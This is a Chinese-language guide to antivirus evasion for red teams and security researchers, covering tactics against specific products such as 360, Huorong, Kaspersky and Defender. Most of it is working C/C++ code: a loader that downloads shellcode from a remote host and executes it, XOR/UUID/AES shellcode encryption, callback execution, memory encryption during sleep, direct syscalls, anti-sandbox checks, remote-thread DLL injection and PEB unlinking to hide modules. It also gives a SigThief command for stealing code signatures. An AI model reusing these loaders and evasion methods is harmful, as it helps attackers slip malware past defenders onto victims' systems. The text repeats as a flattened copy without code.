免杀手法大总结(入门)
字数 2339 2025-08-05 08:18:25

免杀技术全面指南

前言

本文总结了当前有效的免杀技术方法,提供了从入门到进阶的完整思路。内容涵盖静态绕过、动态行为绕过、反沙箱技术、Shellcode注入等多个方面,适用于安全研究人员和红队人员参考。

0. 基础知识

0x00 添加图标

  • 使用工具为可执行文件添加图标可以降低检测率
  • 推荐方法:参考文章 https://www.sqlsec.com/2020/10/csexe.html#%E6%B7%BB%E5%8A%A0%E5%9B%BE%E6%A0%87

0x01 添加签名

  • 使用SigThief工具窃取合法签名:
python sigthief.py -i "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -t C:\Users\xx\Desktop\Project1.exe -o 1.exe

0x02 降低熵值

  • 熵值是杀软查杀的条件之一
  • 将shellcode和loader分开能有效降低熵值

0x03 推荐阅读

  • 免杀入门杂谈:https://xz.aliyun.com/t/13332
  • 浅析杀软系列:https://0range-x.github.io/2022/03/31/%E6%B5%85%E6%9E%90%E6%9D%80%E8%BD%AF/
  • 加载器总结:https://www.cnblogs.com/henry666/p/17429771.html
  • 回调函数加载器:https://www.freebuf.com/articles/web/269158.html

0x05 隐藏窗口

  • 360会检测隐藏窗口行为
  • 实现方法:
// 方法1
ShowWindow(GetConsoleWindow(), SW_HIDE);

// 方法2
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

// 方法3:使用WinMain入口点
#include <Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    HWND hWnd = CreateWindow(/* 参数 */);
    ShowWindow(hWnd, SW_HIDE);
    return 0;
}

0x06 底层函数查询

  • NT/Zw等底层函数查询网站:http://undocumented.ntinternals.net/

1. 杀软分析

1x0 ESET

  • 上线:使用shellcode分离方式
  • 操作:对行为操作敏感,建议使用模块化插件获取回显信息

1x1 卡巴斯基

  • 内存扫描能力强,默认CS beacon会被检测
  • 需要修改CS的profile配置

1x2 火绒

  • 有本地沙箱但较容易绕过
  • 避免使用明显提权工具
  • 心跳间隔不宜过短

1x3 360

  • 核晶防护开启后CMD命令受限
  • 上线方案:DLL白加黑
  • 操作方案:使用自定义代码注入或BOF插件

1x4 Windows Defender

  • 核心防护:AMSI、ETW
  • 上线:避免使用stager shellcode,使用stageless
  • 操作:注入到其他进程执行,避免使用execute-assembly

1x5 其他杀软

  • 深信服EDR:静态查杀强
  • 麦咖啡:静态查杀强,无行为查杀
  • 阿里安骑士:静态一般但拦截高危cmd
  • 趋势科技:监控服务创建,基本无行为检测
  • G01:上传即查杀,有黑名单机制

2. 静态绕过技术

2x0 远程分段加载shellcode

  • 效果:能过火绒360动静态
  • 关键代码:
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>

DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
    // 建立socket连接
    // 发送GET请求获取shellcode
    // 返回接收到的shellcode大小
}

int main() {
    char* recvbuf_ptr = (char*)malloc(400000);
    int recvbuf_size = getShellcode_Run(ip, port, resource, recvbuf_ptr);
    
    shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
    VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);
    ((void(*)())shellcode_addr)();
}

2x1 混淆加密

2x1x0 异或加密

void XORcrypt(char str2xor[], size_t len, int key) {
    for(int i = 0; i < len; i++) {
        str2xor[i] = (BYTE)str2xor[i] ^ key;
    }
}

2x1x1 UUID加密

  • 工具:https://github.com/Haunted-Banshee/Shellcode-Hastur/
  • 解密代码:
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, sizeof(uuids) * 16);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);

for(int i = 0; i < elems; i++) {
    RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
    if(status != RPC_S_OK) {
        CloseHandle(ha);
        return -1;
    }
    hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);

2x1x2 AES加密

  • 实现代码:
#include "AES.h"
AES aes(AESKeyLength::AES_128);
unsigned char key[] = {0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f};
unsigned char* a = aes.DecryptECB((const unsigned char*)recvbuf_ptr, recvbuf_size, key);

2x1x3 RC4加密

  • 适合短shellcode
  • 参考:https://myzxcg.com/2022/01/%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8A%A0%E5%AF%86%E4%B8%8EShellcode-%E9%9A%90%E8%97%8F/#rc4-%E5%8A%A0%E8%A7%A3%E5%AF%86%E5%AD%97%E7%AC%A6%E4%B8%B2

2x2 敏感API替换

  • 参考冷门API列表:http://ropgadget.com/posts/abusing_win_functions.html
  • 常用回调函数:
    • EnumFontsW
    • EnumUILanguages
    • EnumFontFamiliesEx

2x3 bin文件修改

2x3x0 CS敏感API哈希

  • Cobalt Strike使用ROR13哈希算法
  • 哈希替换工具:https://github.com/embee-research/Randomise-api-hashes-cobalt-strike
  • Yara规则参考:https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection

2x3x1 硬编码修改

  • 修改CS生成的bin文件特征字节
  • 方法:
xxd -i payload.bin > payloads.c
# 修改数组后重新编译

3. 动态内存行为绕过

3x0 内存加解密

3x0x0 SystemFunction032

  • 内存加解密系统函数
typedef NTSTATUS(WINAPI* _SystemFunction033)(struct ustring* memoryRegion, struct ustring* keyPointer);
struct ustring {
    DWORD Length;
    DWORD MaximumLength;
    PUCHAR Buffer;
} scdata, key;

// 加密/解密
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
SystemFunction033(&scdata, &key);

3x0x1 UUID内存加解密

  • 结合远程加载和UUID解密
HANDLE hProc = GetCurrentProcess();
LPVOID base_addr = NULL;
NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// 遍历UUID列表并转换
for(int count = 0; count <= (recvbuf_size / 0x26 - 0x1); count++) {
    RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuid_addr, (UUID*)mem_ptr);
    uuid_addr = (void*)((uintptr_t)uuid_addr + 0x26);
    mem_ptr += 16;
}

Sw3NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&recvbuf_size, PAGE_EXECUTE, &oldProtect);
EnumSystemLocalesA((LOCALE_ENUMPROCA)base_addr, 0);

3x1 异常处理机制

  • 利用Windows异常处理在sleep期间修改内存属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo) {
    if(pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) {
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter) {
    while(true) {
        WaitForSingleObject(hEvent, INFINITE);
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
        ResetEvent(hEvent);
    }
}

VOID WINAPI MySleep(DWORD dwMilliseconds) {
    SetEvent(hEvent);
    OldSleep(dwMilliseconds);
}

3x2 ShellcodeFluctuation

  • 在sleep期间加密shellcode内存
void EncryptDecrypt() {
    // 使用SystemFunction033加密/解密
    SystemFunction033(&scdata, &key);
    
    if(memoryInfo.isEncrypt == TRUE) {
        VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
    } else {
        VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
    }
}

VOID WINAPI MySleep(DWORD dwMilliseconds) {
    UnHookSleep();
    EncryptDecrypt();
    Sleep(dwMilliseconds);
    EncryptDecrypt();
    HookSleep();
}

3x3 Syscall技术

  • 使用SysWhispers3项目:https://github.com/klezVirus/SysWhispers3
#include "jumper.h"
NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Sw3NtWriteVirtualMemory(hProc, base_addr, buffer, size, NULL);
Sw3NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&size, PAGE_EXECUTE, &oldProtect);

4. 反沙箱技术

4x0 延时执行

Sleep(10000);  // 沙箱通常会加速执行
WaitForSingleObject(GetCurrentThread(), 10000);

4x1 检测微信

BOOL RegkeyExist(HKEY hKey, wchar_t* regkey_s) {
    HKEY regkey;
    DWORD ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, &regkey);
    if(ret == ERROR_SUCCESS) {
        RegCloseKey(regkey);
        return TRUE;
    }
    return FALSE;
}

if(RegkeyExist(HKEY_LOCAL_MACHINE, L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WeChat")) {
    LoadShellcode();
}

4x2 传参检测

if(argc >= 3) {
    if(atoi(argv[1]) + atoi(argv[2]) == 12 && atoi(argv[1]) * atoi(argv[2]) == 35) {
        LoadShellCode();
    }
}

4x3 文件检测

BOOL isFileExists(wchar_t* szPath) {
    DWORD dwAtrribt = GetFileAttributes(szPath);
    return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && !(dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}

if(isFileExists(L"1.txt") && isDirExists(L"1")) {
    LoadShellcode();
}

4x4 睡眠时间检测

bool timeSleep() {
    auto start = std::chrono::steady_clock::now();
    std::this_thread::sleep_for(std::chrono::seconds(10));
    auto end = std::chrono::steady_clock::now() - start;
    return end >= std::chrono::seconds(10);
}

5. Shellcode注入技术

5x0 远程线程注入DLL

DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DllName) {
    HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
    size = (wcslen(DllName) + 1) * sizeof(TCHAR);
    LPVOID pAllocMemory = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hprocess, pAllocMemory, DllName, size, NULL);
    
    FARPROC pThread = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
    HANDLE hThread = CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)pThread, pAllocMemory, 0, NULL);
    
    WaitForSingleObject(hThread, -1);
    VirtualFreeEx(hprocess, pAllocMemory, size, MEM_DECOMMIT);
    CloseHandle(hprocess);
    return TRUE;
}

5x1 突破Session 0隔离

  • 使用ZwCreateThreadEx替代CreateRemoteThread
typedef DWORD (WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown
);

ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess, 
    (LPTHREAD_START_ROUTINE)addr, pAllocMemory, 0, 0, 0, 0, NULL);

5x2 三断链隐藏DLL

  • 修改PEB中的LDR模块链表
void HideModule(HANDLE hModule) {
    PPEB_LDR_DATA ldr;
    PLDR_DATA_TABLE_ENTRY ldte;
    
    // 定位到PEB->LDR
    __asm {
        mov eax, fs:[0x30]
        mov ecx, [eax + 0x0c]
        mov ldr, ecx
    }
    
    // 遍历三个链表并断链
    PLIST_ENTRY Head, Cur;
    Head = &(ldr->InLoadOrderModuleList);
    Cur = Head->Flink;
    
    do {
        ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
        if(ldte->BaseAddress == hModule) {
            ldte->InLoadOrderModuleList.Blink->Flink = ldte->InLoadOrderModuleList.Flink;
            ldte->InLoadOrderModuleList.Flink->Blink = ldte->InLoadOrderModuleList.Blink;
        }
        Cur = Cur->Flink;
    } while(Head != Cur);
    
    // 同样处理InMemoryOrderModuleList和InInitializationOrderModuleList
}

总结

本文涵盖了从基础到高级的免杀技术,包括静态特征修改、动态行为规避、反沙箱检测和多种注入技术。实际应用中需要根据目标环境组合使用多种技术,并持续关注杀软的新检测机制以调整策略。

免杀技术全面指南 前言 本文总结了当前有效的免杀技术方法,提供了从入门到进阶的完整思路。内容涵盖静态绕过、动态行为绕过、反沙箱技术、Shellcode注入等多个方面,适用于安全研究人员和红队人员参考。 0. 基础知识 0x00 添加图标 使用工具为可执行文件添加图标可以降低检测率 推荐方法:参考文章 https://www.sqlsec.com/2020/10/csexe.html#%E6%B7%BB%E5%8A%A0%E5%9B%BE%E6%A0%87 0x01 添加签名 使用SigThief工具窃取合法签名: 0x02 降低熵值 熵值是杀软查杀的条件之一 将shellcode和loader分开能有效降低熵值 0x03 推荐阅读 免杀入门杂谈:https://xz.aliyun.com/t/13332 浅析杀软系列:https://0range-x.github.io/2022/03/31/%E6%B5%85%E6%9E%90%E6%9D%80%E8%BD%AF/ 加载器总结:https://www.cnblogs.com/henry666/p/17429771.html 回调函数加载器:https://www.freebuf.com/articles/web/269158.html 0x05 隐藏窗口 360会检测隐藏窗口行为 实现方法: 0x06 底层函数查询 NT/Zw等底层函数查询网站:http://undocumented.ntinternals.net/ 1. 杀软分析 1x0 ESET 上线:使用shellcode分离方式 操作:对行为操作敏感,建议使用模块化插件获取回显信息 1x1 卡巴斯基 内存扫描能力强,默认CS beacon会被检测 需要修改CS的profile配置 1x2 火绒 有本地沙箱但较容易绕过 避免使用明显提权工具 心跳间隔不宜过短 1x3 360 核晶防护开启后CMD命令受限 上线方案:DLL白加黑 操作方案:使用自定义代码注入或BOF插件 1x4 Windows Defender 核心防护:AMSI、ETW 上线:避免使用stager shellcode,使用stageless 操作:注入到其他进程执行,避免使用execute-assembly 1x5 其他杀软 深信服EDR:静态查杀强 麦咖啡:静态查杀强,无行为查杀 阿里安骑士:静态一般但拦截高危cmd 趋势科技:监控服务创建,基本无行为检测 G01:上传即查杀,有黑名单机制 2. 静态绕过技术 2x0 远程分段加载shellcode 效果:能过火绒360动静态 关键代码: 2x1 混淆加密 2x1x0 异或加密 2x1x1 UUID加密 工具:https://github.com/Haunted-Banshee/Shellcode-Hastur/ 解密代码: 2x1x2 AES加密 实现代码: 2x1x3 RC4加密 适合短shellcode 参考:https://myzxcg.com/2022/01/%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8A%A0%E5%AF%86%E4%B8%8EShellcode-%E9%9A%90%E8%97%8F/#rc4-%E5%8A%A0%E8%A7%A3%E5%AF%86%E5%AD%97%E7%AC%A6%E4%B8%B2 2x2 敏感API替换 参考冷门API列表:http://ropgadget.com/posts/abusing_ win_ functions.html 常用回调函数: EnumFontsW EnumUILanguages EnumFontFamiliesEx 2x3 bin文件修改 2x3x0 CS敏感API哈希 Cobalt Strike使用ROR13哈希算法 哈希替换工具:https://github.com/embee-research/Randomise-api-hashes-cobalt-strike Yara规则参考:https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection 2x3x1 硬编码修改 修改CS生成的bin文件特征字节 方法: 3. 动态内存行为绕过 3x0 内存加解密 3x0x0 SystemFunction032 内存加解密系统函数 3x0x1 UUID内存加解密 结合远程加载和UUID解密 3x1 异常处理机制 利用Windows异常处理在sleep期间修改内存属性 3x2 ShellcodeFluctuation 在sleep期间加密shellcode内存 3x3 Syscall技术 使用SysWhispers3项目:https://github.com/klezVirus/SysWhispers3 4. 反沙箱技术 4x0 延时执行 4x1 检测微信 4x2 传参检测 4x3 文件检测 4x4 睡眠时间检测 5. Shellcode注入技术 5x0 远程线程注入DLL 5x1 突破Session 0隔离 使用ZwCreateThreadEx替代CreateRemoteThread 5x2 三断链隐藏DLL 修改PEB中的LDR模块链表 总结 本文涵盖了从基础到高级的免杀技术,包括静态特征修改、动态行为规避、反沙箱检测和多种注入技术。实际应用中需要根据目标环境组合使用多种技术,并持续关注杀软的新检测机制以调整策略。